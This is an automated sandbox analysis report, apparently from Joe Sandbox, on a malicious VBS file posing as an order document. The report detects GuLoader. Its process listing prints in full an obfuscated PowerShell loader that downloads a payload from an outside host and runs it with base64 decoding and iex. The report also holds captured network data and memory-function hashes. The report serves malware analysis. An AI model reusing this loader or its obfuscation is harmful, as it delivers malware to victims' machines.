2025-04-07 12:15:22 UTC	8000	IN	Data Raw: 48 39 62 4b 33 74 6a 61 79 74 37 59 32 73 73 52 4e 5a 65 2f 52 6f 32 62 67 61 4e 4d 72 71 79 36 47 4e 52 79 4e 77 72 71 43 59 6e 72 2f 43 65 72 33 64 41 57 76 62 34 2f 37 35 5a 4e 7a 52 36 72 79 6f 65 35 61 50 36 73 53 74 72 59 32 4f 30 7a 6c 76 53 38 58 74 7a 61 79 35 77 35 44 39 79 50 58 72 57 6c 55 67 77 68 79 62 65 54 76 51 59 4c 35 71 39 6a 4d 62 38 43 48 44 57 55 42 65 47 35 2f 4d 2f 43 43 57 6b 74 72 51 65 57 71 4f 31 53 2f 4e 53 2b 4f 53 45 2b 78 33 44 49 47 43 4c 47 30 73 65 57 48 4e 48 6a 78 63 73 58 79 78 54 4a 6e 62 55 52 32 72 6d 34 37 49 70 38 30 73 72 64 36 77 62 6e 75 57 76 72 36 42 57 57 6d 58 39 37 69 65 72 56 48 2f 71 2f 62 72 52 4b 73 4d 35 71 45 70 36 7a 68 68 4c 39 41 35 54 32 6a 6d 37 57 32 4e 6b 30 69 74 6a 65 79 74 2b 43 49 30 34 Data Ascii: H9bK3tjayt7Y2ssRNZe/Ro2bgaNMrqy6GNRyNwrqCYnr/Cer3dAWvb4/75ZNzR6ryoe5aP6sStrY2O0zlvS8Xtzay5w5D9yPXrWlUgwhybeTvQYL5q9jMb8CHDWUBeG5/M/CCWktrQeWqO1S/NS+OSE+x3DIGCLG0seWHNHjxcsXyxTJnbUR2rm47Ip80srd6wbnuWvr6BWWmX97ierVH/q/brRKsM5qEp6zhhL9A5T2jm7W2Nk0itjeyt+CI04
2025-04-07 12:15:22 UTC	8000	IN	Data Raw: 39 68 4c 4d 6d 36 62 75 49 4c 62 57 36 36 51 47 51 46 52 4d 72 63 44 4c 69 44 36 4a 38 63 65 72 51 4f 57 35 66 67 37 34 6f 61 43 35 51 76 63 4a 54 4d 39 61 48 56 51 7a 55 75 4e 4c 76 34 79 73 2f 31 37 75 32 4b 77 39 79 78 4c 53 4f 2b 6d 30 77 32 2f 5a 63 35 42 34 57 39 4d 44 4a 70 4e 44 55 46 79 33 6c 46 31 58 31 38 2b 57 5a 39 33 4e 6e 46 69 64 4b 53 75 46 47 55 49 68 67 4e 6e 33 76 44 32 6a 76 4e 39 2f 41 73 59 65 6a 66 69 64 75 58 41 34 52 65 4b 67 6d 55 6f 52 47 6d 76 54 54 5a 49 6f 52 75 56 35 75 65 33 4f 31 34 47 71 72 63 55 6f 39 79 50 6e 55 47 2f 41 38 6a 46 54 58 71 44 31 41 2f 70 54 6c 43 49 7a 42 59 30 58 51 4f 63 46 45 52 37 64 64 77 79 73 43 68 39 47 35 58 56 59 32 57 66 44 71 4b 67 74 51 76 64 56 32 59 43 34 2b 55 44 2b 4d 4b 6a 50 6b 77 62 Data Ascii: 9hLMm6buILbW66QGQFRMrcDLiD6J8cerQOW5fg74oaC5QvcJTM9aHVQzUuNLv4ys/17u2Kw9yxLSO+m0w2/Zc5B4W9MDJpNDUFy3lF1X18+WZ93NnFidKSuFGUIhgNn3vD2jvN9/AsYejfiduXA4ReKgmUoRGmvTTZIoRuV5ue3O14GqrcUo9yPnUG/A8jFTXqD1A/pTlCIzBY0XQOcFER7ddwysCh9G5XVY2WfDqKgtQvdV2YC4+UD+MKjPkwb
2025-04-07 12:15:22 UTC	8000	IN	Data Raw: 63 74 30 4e 4c 6b 73 6d 50 75 4e 6a 68 4d 33 61 63 4c 4d 76 54 30 44 6e 56 65 44 38 50 5a 66 35 48 38 74 54 44 47 36 42 2b 6f 70 35 41 77 77 33 43 56 63 47 4f 52 4b 6a 57 68 49 42 41 4a 48 4e 6e 56 50 32 74 35 61 73 47 6e 51 46 4a 68 2b 36 31 62 59 34 2b 4d 32 43 77 74 37 61 4f 7a 52 70 6a 64 65 55 49 36 30 49 64 54 74 41 35 61 56 77 33 77 52 50 6f 55 5a 5a 72 57 7a 66 42 61 71 6e 44 77 57 70 47 4e 38 48 53 69 6f 75 59 76 64 68 43 76 36 32 6d 49 35 66 5a 6c 54 6f 4b 35 66 6d 69 36 66 78 41 51 67 33 75 2b 32 42 64 72 41 4e 72 75 48 31 59 79 2f 46 70 64 65 6e 71 56 75 41 4a 34 6a 51 69 59 4f 39 4f 4e 6c 6d 51 4e 32 4e 70 36 6c 6f 32 51 61 70 2f 54 30 45 35 61 6d 45 33 77 53 57 48 6a 7a 66 55 75 45 76 47 4f 37 6a 33 61 42 49 56 5a 76 30 37 50 39 70 76 65 76 Data Ascii: ct0NLksmPuNjhM3acLMvT0DnVeD8PZf5H8tTDG6B+op5Aww3CVcGORKjWhIBAJHNnVP2t5asGnQFJh+61bY4+M2Cwt7aOzRpjdeUI60IdTtA5aVw3wRPoUZZrWzfBaqnDwWpGN8HSiouYvdhCv62mI5fZlToK5fmi6fxAQg3u+2BdrANruH1Yy/FpdenqVuAJ4jQiYO9ONlmQN2Np6lo2Qap/T0E5amE3wSWHjzfUuEvGO7j3aBIVZv07P9pvev
2025-04-07 12:15:22 UTC	8000	IN	Data Raw: 75 59 51 30 4d 47 4a 75 61 62 6b 2b 33 52 65 68 72 32 6e 2b 34 61 2f 59 7a 51 46 4a 45 38 31 4a 6f 2b 4f 51 72 50 39 43 7a 69 53 73 50 51 4d 36 72 76 76 61 30 78 4f 73 67 35 53 4f 5a 4b 41 4c 47 6b 2b 50 48 58 36 5a 68 4d 79 37 4e 71 62 56 47 50 38 4d 34 49 48 31 78 2f 49 2f 6d 37 4e 45 7a 2f 2b 30 33 39 53 6a 47 34 51 6a 72 4e 76 64 6c 4f 55 64 32 4e 2f 43 73 61 4c 6b 47 61 30 55 33 32 45 6e 56 35 6a 57 39 53 33 42 6b 4c 6a 35 55 50 34 41 71 6a 2f 7a 48 76 6d 50 52 75 4a 62 6e 38 36 38 42 38 68 62 64 77 79 73 55 72 54 47 4b 75 33 2f 78 39 55 30 4b 6d 50 4e 4e 72 36 2f 30 63 44 74 4c 30 50 63 72 6a 6d 78 73 31 45 42 30 49 53 48 70 61 73 44 69 44 33 63 58 61 33 56 76 33 37 65 38 63 51 57 37 62 6b 6f 44 6b 64 43 36 2b 74 53 34 78 63 4a 47 50 71 34 51 36 31 Data Ascii: uYQ0MGJuabk+3Rehr2n+4a/YzQFJE81Jo+OQrP9CziSsPQM6rvva0xOsg5SOZKALGk+PHX6ZhMy7NqbVGP8M4IH1x/I/m7NEz/+039SjG4QjrNvdlOUd2N/CsaLkGa0U32EnV5jW9S3BkLj5UP4Aqj/zHvmPRuJbn868B8hbdwysUrTGKu3/x9U0KmPNNr6/0cDtL0Pcrjmxs1EB0ISHpasDiD3cXa3Vv37e8cQW7bkoDkdC6+tS4xcJGPq4Q61
2025-04-07 12:15:22 UTC	8000	IN	Data Raw: 70 4f 63 52 70 50 79 44 51 79 73 7a 72 76 76 44 31 6a 2f 33 33 36 6e 4a 44 2f 44 6d 46 30 42 37 38 61 44 4e 78 72 30 6c 55 55 6d 33 55 35 51 68 68 4e 31 32 56 61 4e 6f 7a 51 4c 52 4c 38 2b 39 76 7a 54 4e 41 2b 62 64 79 54 4e 41 35 32 30 34 33 77 58 62 5a 32 4c 66 55 75 4d 54 69 6e 7a 36 78 63 6c 59 4f 6e 6c 62 6b 73 70 79 49 4b 2f 7a 38 64 4b 69 57 48 36 58 4a 53 6d 51 44 4c 72 4e 66 6b 4f 32 4f 52 4c 30 48 59 62 63 32 73 72 67 79 76 37 61 33 74 6d 41 4d 51 31 58 46 79 6d 39 67 74 33 53 36 35 31 39 51 62 6b 57 33 52 4c 61 43 61 2b 6e 52 75 56 52 63 35 53 71 2f 55 4c 36 45 71 7a 64 38 7a 53 4f 38 4a 69 37 4f 73 77 2f 58 42 38 70 30 65 45 59 52 4e 77 42 62 70 50 71 6d 64 72 73 51 33 73 6c 58 55 74 72 72 58 74 73 78 74 38 2f 48 75 30 65 79 74 37 6d 35 4b 35 Data Ascii: pOcRpPyDQyszrvvD1j/336nJD/DmF0B78aDNxr0lUUm3U5QhhN12VaNozQLRL8+9vzTNA+bdyTNA52043wXbZ2LfUuMTinz6xclYOnlbkspyIK/z8dKiWH6XJSmQDLrNfkO2ORL0HYbc2srgyv7a3tmAMQ1XFym9gt3S6519QbkW3RLaCa+nRuVRc5Sq/UL6Eqzd8zSO8Ji7Osw/XB8p0eEYRNwBbpPqmdrsQ3slXUtrrXtsxt8/Hu0eyt7m5K5

Statistics

Click to jump to process

Memory Usage

• wscript.exe
• powershell.exe
• conhost.exe
• svchost.exe
• powershell.exe
• conhost.exe

Click to jump to process

High Level Behavior Distribution

• File
• Registry

Click to dive into process behavior distribution

Behavior

• wscript.exe
• powershell.exe
• conhost.exe
• svchost.exe
• powershell.exe
• conhost.exe

Click to jump to process

Target ID:	0
Start time:	08:15:12
Start date:	07/04/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Rendeles nr13252436324563635635464574544545445474.vbs"
Imagebase:	0x7ff65ba70000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	08:15:14
Start date:	07/04/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Get-Service;$Saddlecloths='func';Get-History;$Saddlecloths+='t';Get-History;$Saddlecloths+='i';$Sammenholder=Get-History;$Saddlecloths+='on:';$Sammenholder=Get-History;(ni -p $Saddlecloths -n Unbracing -value { param($Blindgngerne);$elaterids=1;do {$universalmidlet+=$Blindgngerne[$elaterids];$elaterids+=2} until(!$Blindgngerne[$elaterids])$universalmidlet});(ni -p $Saddlecloths -n Sdvanen -value {param($Polarity);.($Preliteralness) ($Polarity)});ConvertTo-Html;$Reclassifying=Unbracing ' NDeSTS. W';$Reclassifying+=Unbracing 'ceSbOCKL.i,E N T';$Madannoncers=Unbracing ' MBo zAi l lAaI/';$Stoneweed=Unbracing 'ST.lSs 1I2';$subdisjunctive=' [SN E T,. SMEiRTv i cSeMpMOOI nptNMRaSn a gMe R ]G:F: S e.cBUkR i TAy P.rmOFTAoKcNOuL =.$OSStGoSn E W ENEND';$Madannoncers+=Unbracing '.5 .V0T (OWgiKn dRoKwEsR NUT T1S0S..0U;T BWfi,n 6.4F; .xB6 4F;, wrLv :G1H3U4 .R0K)k GAe.cEkNo /I2 0S1B0 0D1P0 1U .F iBr e f oUx /I1U3H4B.H0';$brnesanges=Unbracing 'Lu S ESRU- aBG ERn T';$Squidgier=Unbracing ' hRt tApmsA:M/B/.fMiVt b a b y h oXtOmCabm aC.,cFo m / u nScPo,m.mOeVnVsAuMr,aft e lAy,.udawGp';$Arbitrable=Unbracing ',>';$Preliteralness=Unbracing ' ICe x';$Anstetiske='Sciaenids';$Dannekvindernes='\Lithochemistry.Uva';Sdvanen (Unbracing 'S$ g l oCbTaSlF: NTe TaHFI.n d e =R$DeHN VF:saSP P d A tUAG+ $NDSaGnSN EIkUvpI.NKD.E.rVn e s');Sdvanen (Unbracing 'D$.GPLGONbMa lR:sIYN DKe k sTMOANrCKKeKR iMnHg.e.RFNPe = $ S Q,uEI,dGG IKE rL. SRP LGI,T (O$taSRObAi TTR ASB,lqE )');Sdvanen (Unbracing $subdisjunctive);$Squidgier=$Indeksmarkeringerne[0];$Fllesordningerne=(Unbracing 'H$Sg LSO,BGa,L.:TF EPT ISs H,iPZsa,TUiNo N,=VnDe,wR- OSb JDE CLT RsHY sKtUe mI. $ R e CvLTaFSBs I FVYPiBn g');Sdvanen ($Fllesordningerne);Sdvanen (Unbracing 'N$PFAeTt iPs hRiAzKa tHi oBns.CH eSa.d,e rIs [ $fbIr n eUsNaOncg e s ] =S$YM a.d.aTn n o nGc,e.rRs');$Asfalts=Unbracing ' DFo.w n.lAoPa d.FPiNl e';$Muskeg=Unbracing ' $ FGe t,i s.hGiczDa t iPo nH.E$ AOs,f.aHl,tLsK.PISn vPoSkSeA(.$,SFq uUiKd,gRi e rA,D$ T.eSaOb o xDe se)';$Teaboxes=$Nethinde;Sdvanen (Unbracing 'T$ GRL OTb a LG: d i sVKFOAs k,ADS.T EDR nNENsL7c5 =f(ATZE SStA- pBaItFhK A$ t eMa.BaO x e ss)');while (!$Diskoskasternes75) {Sdvanen (Unbracing ' $ g l oHbRa.l : F oFr l a gAs,bEo,g hSa,n dFe l sT= $ HFyPgIiUePn iRsSt') ;Sdvanen $Muskeg;Sdvanen (Unbracing 'T[ tPHDr ESa.dIi NSG .IT.h ROetA D ] :S:VsSL,E eEP (L4P0S0M0 )');Sdvanen (Unbracing '.$ Gbl oSBHAOlF:RdUiIsSKDo,s KUA sBtfEORPnSE S.7C5,= ( T,E sNtS- PLA tRH s$MtPe a B.oEXVe,S,)') ;Sdvanen (Unbracing 'R$PG lOO bDa L :BsCtfrRA a,L e VRA rCMHeONY=D$Sg.lGoMbTA L :Fa N,pIA.rUT S HRA.VAE rUe.+R+A% $CIHNEd E KMS mTA r KReUrSIPnCGKERroNSe . C o UBN.t') ;$Squidgier=$Indeksmarkeringerne[$Straalevarmen]}$Crawlway20=397425;$Forvred=28707;Sdvanen (Unbracing 'M$sg L oTBEACLC:NSMAftSe l,LBI TSTEE,rPNDeP R=T .gkE T.-BCRO NYT eJN T D$ tDe a b OfX ELs');Sdvanen (Unbracing '.$PgTl oGbKa lf:BATmBoIrPaMlIe nP c=t .[ S yQsStFe m,.KC.o nFv eNr t ] :a:CFOr o m B.aTsFeF6O4CS.t.r,i nSg (S$ S aBtAeLl lSiNtbt efr,nUe )');Sdvanen (Unbracing 'P$ gOl O b aHL,:HA FSSKK R IVd,TNNKIfnEGBe nDs. S=P [ s Y sUt ERmT.Kt,E,XPTF.BeSn C,oBD IIN GR] : : AbS,c.I.iF. g e T.sTT R I NAgG( $Fa.m o,rHA lVe n )');Sdvanen (Unbracing 'U$Ig,LbOJb a L : aFU TVOgMTaTT,IUOKN s p R oFgRRBa mB1S1 = $HA FpS k r,IAdRtCn IFN gTeIn Su.TSLu B SgtMRPi nKgG(.$UCPR a WElTwNa y.2 0U, $.FPosR.VSR eTd )');Sdvanen $Automationsprogram11;"
Imagebase:	0x7ff7016f0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	08:15:14
Start date:	07/04/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff62fc20000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	08:15:15
Start date:	07/04/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6ca680000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	08:15:28
Start date:	07/04/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "Get-Service;$Saddlecloths='func';Get-History;$Saddlecloths+='t';Get-History;$Saddlecloths+='i';$Sammenholder=Get-History;$Saddlecloths+='on:';$Sammenholder=Get-History;(ni -p $Saddlecloths -n Unbracing -value { param($Blindgngerne);$elaterids=1;do {$universalmidlet+=$Blindgngerne[$elaterids];$elaterids+=2} until(!$Blindgngerne[$elaterids])$universalmidlet});(ni -p $Saddlecloths -n Sdvanen -value {param($Polarity);.($Preliteralness) ($Polarity)});ConvertTo-Html;$Reclassifying=Unbracing ' NDeSTS. W';$Reclassifying+=Unbracing 'ceSbOCKL.i,E N T';$Madannoncers=Unbracing ' MBo zAi l lAaI/';$Stoneweed=Unbracing 'ST.lSs 1I2';$subdisjunctive=' [SN E T,. SMEiRTv i cSeMpMOOI nptNMRaSn a gMe R ]G:F: S e.cBUkR i TAy P.rmOFTAoKcNOuL =.$OSStGoSn E W ENEND';$Madannoncers+=Unbracing '.5 .V0T (OWgiKn dRoKwEsR NUT T1S0S..0U;T BWfi,n 6.4F; .xB6 4F;, wrLv :G1H3U4 .R0K)k GAe.cEkNo /I2 0S1B0 0D1P0 1U .F iBr e f oUx /I1U3H4B.H0';$brnesanges=Unbracing 'Lu S ESRU- aBG ERn T';$Squidgier=Unbracing ' hRt tApmsA:M/B/.fMiVt b a b y h oXtOmCabm aC.,cFo m / u nScPo,m.mOeVnVsAuMr,aft e lAy,.udawGp';$Arbitrable=Unbracing ',>';$Preliteralness=Unbracing ' ICe x';$Anstetiske='Sciaenids';$Dannekvindernes='\Lithochemistry.Uva';Sdvanen (Unbracing 'S$ g l oCbTaSlF: NTe TaHFI.n d e =R$DeHN VF:saSP P d A tUAG+ $NDSaGnSN EIkUvpI.NKD.E.rVn e s');Sdvanen (Unbracing 'D$.GPLGONbMa lR:sIYN DKe k sTMOANrCKKeKR iMnHg.e.RFNPe = $ S Q,uEI,dGG IKE rL. SRP LGI,T (O$taSRObAi TTR ASB,lqE )');Sdvanen (Unbracing $subdisjunctive);$Squidgier=$Indeksmarkeringerne[0];$Fllesordningerne=(Unbracing 'H$Sg LSO,BGa,L.:TF EPT ISs H,iPZsa,TUiNo N,=VnDe,wR- OSb JDE CLT RsHY sKtUe mI. $ R e CvLTaFSBs I FVYPiBn g');Sdvanen ($Fllesordningerne);Sdvanen (Unbracing 'N$PFAeTt iPs hRiAzKa tHi oBns.CH eSa.d,e rIs [ $fbIr n eUsNaOncg e s ] =S$YM a.d.aTn n o nGc,e.rRs');$Asfalts=Unbracing ' DFo.w n.lAoPa d.FPiNl e';$Muskeg=Unbracing ' $ FGe t,i s.hGiczDa t iPo nH.E$ AOs,f.aHl,tLsK.PISn vPoSkSeA(.$,SFq uUiKd,gRi e rA,D$ T.eSaOb o xDe se)';$Teaboxes=$Nethinde;Sdvanen (Unbracing 'T$ GRL OTb a LG: d i sVKFOAs k,ADS.T EDR nNENsL7c5 =f(ATZE SStA- pBaItFhK A$ t eMa.BaO x e ss)');while (!$Diskoskasternes75) {Sdvanen (Unbracing ' $ g l oHbRa.l : F oFr l a gAs,bEo,g hSa,n dFe l sT= $ HFyPgIiUePn iRsSt') ;Sdvanen $Muskeg;Sdvanen (Unbracing 'T[ tPHDr ESa.dIi NSG .IT.h ROetA D ] :S:VsSL,E eEP (L4P0S0M0 )');Sdvanen (Unbracing '.$ Gbl oSBHAOlF:RdUiIsSKDo,s KUA sBtfEORPnSE S.7C5,= ( T,E sNtS- PLA tRH s$MtPe a B.oEXVe,S,)') ;Sdvanen (Unbracing 'R$PG lOO bDa L :BsCtfrRA a,L e VRA rCMHeONY=D$Sg.lGoMbTA L :Fa N,pIA.rUT S HRA.VAE rUe.+R+A% $CIHNEd E KMS mTA r KReUrSIPnCGKERroNSe . C o UBN.t') ;$Squidgier=$Indeksmarkeringerne[$Straalevarmen]}$Crawlway20=397425;$Forvred=28707;Sdvanen (Unbracing 'M$sg L oTBEACLC:NSMAftSe l,LBI TSTEE,rPNDeP R=T .gkE T.-BCRO NYT eJN T D$ tDe a b OfX ELs');Sdvanen (Unbracing '.$PgTl oGbKa lf:BATmBoIrPaMlIe nP c=t .[ S yQsStFe m,.KC.o nFv eNr t ] :a:CFOr o m B.aTsFeF6O4CS.t.r,i nSg (S$ S aBtAeLl lSiNtbt efr,nUe )');Sdvanen (Unbracing 'P$ gOl O b aHL,:HA FSSKK R IVd,TNNKIfnEGBe nDs. S=P [ s Y sUt ERmT.Kt,E,XPTF.BeSn C,oBD IIN GR] : : AbS,c.I.iF. g e T.sTT R I NAgG( $Fa.m o,rHA lVe n )');Sdvanen (Unbracing 'U$Ig,LbOJb a L : aFU TVOgMTaTT,IUOKN s p R oFgRRBa mB1S1 = $HA FpS k r,IAdRtCn IFN gTeIn Su.TSLu B SgtMRPi nKgG(.$UCPR a WElTwNa y.2 0U, $.FPosR.VSR eTd )');Sdvanen $Automationsprogram11;"
Imagebase:	0x6f0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 0000000B.00000002.2503220797.000000000B9A5000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	08:15:28
Start date:	07/04/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff62fc20000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Function 00007FFC3DF267FB Relevance: 1.0, Instructions: 1005COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1390225477.00007FFC3DF20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC3DF20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffc3df20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 248762dfb105e4f624f0b7de8be5a4cead9a29bf870284341ef3b5486d5f3ac3
Instruction ID: 2a7844309e9ba244b04f0704baf1bde32ccd65a01338e5c29e6fca1f5d645809
Opcode Fuzzy Hash: 248762dfb105e4f624f0b7de8be5a4cead9a29bf870284341ef3b5486d5f3ac3
Instruction Fuzzy Hash: 4D52372590DBDE4FE756976888952B47FE1EF5B250B0901FBC04EC71A3ED18AC06C362

Function 00007FFC3DF2AEC7 Relevance: 1.0, Instructions: 989COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1390225477.00007FFC3DF20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC3DF20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffc3df20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a79ada9772099120a5fab9667eb14becb46028ecb2fde9e8b15d1284ca18f48
Instruction ID: 1d276c4a3dde33008b78f63124683fb9a2f48f19a1707bf6eff6e6bdadc75838
Opcode Fuzzy Hash: 3a79ada9772099120a5fab9667eb14becb46028ecb2fde9e8b15d1284ca18f48
Instruction Fuzzy Hash: 02621361A0DB9E4FEBA6D66848952747BE1EF5A350B0800FFC44EC71D7ED19AC06C362

Function 00007FFC3DE5B596 Relevance: .5, Instructions: 476COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1389605985.00007FFC3DE50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC3DE50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffc3de50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9ca258099c1107dc6ed24460df318aa8d251081ce7da85b8a96ab04a3471f14
Instruction ID: 08f7eccab79c1aa2441d13f8a7c2417e065eefe23d334d316e60491cd983d104
Opcode Fuzzy Hash: b9ca258099c1107dc6ed24460df318aa8d251081ce7da85b8a96ab04a3471f14
Instruction Fuzzy Hash: DEF1A130918A8E8FEBA9DF28C8557E97BE1FF54350F04426AE84DC7291DB34D944CB91

Function 00007FFC3DE5C342 Relevance: .5, Instructions: 463COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1389605985.00007FFC3DE50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC3DE50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffc3de50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8f2f612e70c203329504ffde99aabf4f557d3d419f2529bccf89e5b09d21c63
Instruction ID: fa1971511c232cc6eb586b6f963af1264cb9d84a5fe650c2007a8d3e641d4190
Opcode Fuzzy Hash: b8f2f612e70c203329504ffde99aabf4f557d3d419f2529bccf89e5b09d21c63
Instruction Fuzzy Hash: B8E10430918A5E8FEBA8DF68C8557E97BD2FB54350F04426EE84DC3291DE78E844CB81

Function 00007FFC3DF2A9B5 Relevance: .6, Instructions: 599COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1390225477.00007FFC3DF20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC3DF20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffc3df20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ebb5298d6527715d69abab0fc4baddee69a5335b0178aab97cbb882a3bbcfda
Instruction ID: 87d908685621601374c27c14e2965b656663d1bea2d27074426ab37a54b66270
Opcode Fuzzy Hash: 3ebb5298d6527715d69abab0fc4baddee69a5335b0178aab97cbb882a3bbcfda
Instruction Fuzzy Hash: F1023835A0DB9E4FE796C66858951B47BE1FF9A261B0802FBC04EC7193EE199807C352

Function 00007FFC3DF2BA64 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1390225477.00007FFC3DF20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC3DF20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffc3df20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6891043e100edec4060728cbcc7c57fb26ef87547b17a38814b4022b0e4eeef6
Instruction ID: 922e9fb1ab1bde09f1e798ce1fb8f38a1ae9fdd7acc1a3436a1b912ba057a0fa
Opcode Fuzzy Hash: 6891043e100edec4060728cbcc7c57fb26ef87547b17a38814b4022b0e4eeef6
Instruction Fuzzy Hash: 34D17B21A0DB9E4FEB56D66858941B57BE1DF5A350B0800FBC84ECB1D7ED19AC06C361

Function 00007FFC3DE550FD Relevance: .4, Instructions: 420COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1389605985.00007FFC3DE50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC3DE50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffc3de50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66e1a32a9fe95b7fdc0e9828d92253d5c997608d1c594f0d6ec1514df19b1cb1
Instruction ID: a769f4a6546ad6ac77bd197e7225dc7df5360d4d316cb17bf8851f71e826cc96
Opcode Fuzzy Hash: 66e1a32a9fe95b7fdc0e9828d92253d5c997608d1c594f0d6ec1514df19b1cb1
Instruction Fuzzy Hash: F4D1B131A18A5E8FDF94DF9CC485AADBBF2FF68390F14416AD409D7245DA34E841CB90

Function 00007FFC3DF27A0D Relevance: .4, Instructions: 367COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1390225477.00007FFC3DF20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC3DF20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffc3df20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 703d3edbf9b40f9e7f5f55e3ad25eb3845ba649d90f42de8c23ca92e8b436e3f
Instruction ID: 357ced57de9283cf8520ce8ad277c8593ec6331bf690c4546353f82dd9e5c4bb
Opcode Fuzzy Hash: 703d3edbf9b40f9e7f5f55e3ad25eb3845ba649d90f42de8c23ca92e8b436e3f
Instruction Fuzzy Hash: 7BB12571A0DAAE8FEBA5DA6848956B47BF1EF59350B0801FBC00EC7193FD199C06C361

Function 00007FFC3DE5BF56 Relevance: .3, Instructions: 335COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1389605985.00007FFC3DE50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC3DE50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffc3de50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e9a1f617b0d6ba64f2a6bddc60baad856a7b5503665b3f5267ae571030a0d6f
Instruction ID: c56c2a40d42bad2cc186bb290f59a5cc4928dee5dcc240c7aa25ab468a3df993
Opcode Fuzzy Hash: 0e9a1f617b0d6ba64f2a6bddc60baad856a7b5503665b3f5267ae571030a0d6f
Instruction Fuzzy Hash: 16B1D330518A8D8FEB68DF28C8557E93BE1FF59350F04426EE84DC7292DA34E845CB92

Function 00007FFC3DF229D9 Relevance: .3, Instructions: 317COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1390225477.00007FFC3DF20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC3DF20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffc3df20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e77c9f87c939f56f6ffbeea914e12f588a8655301e43d71db8f580ead24ddd19
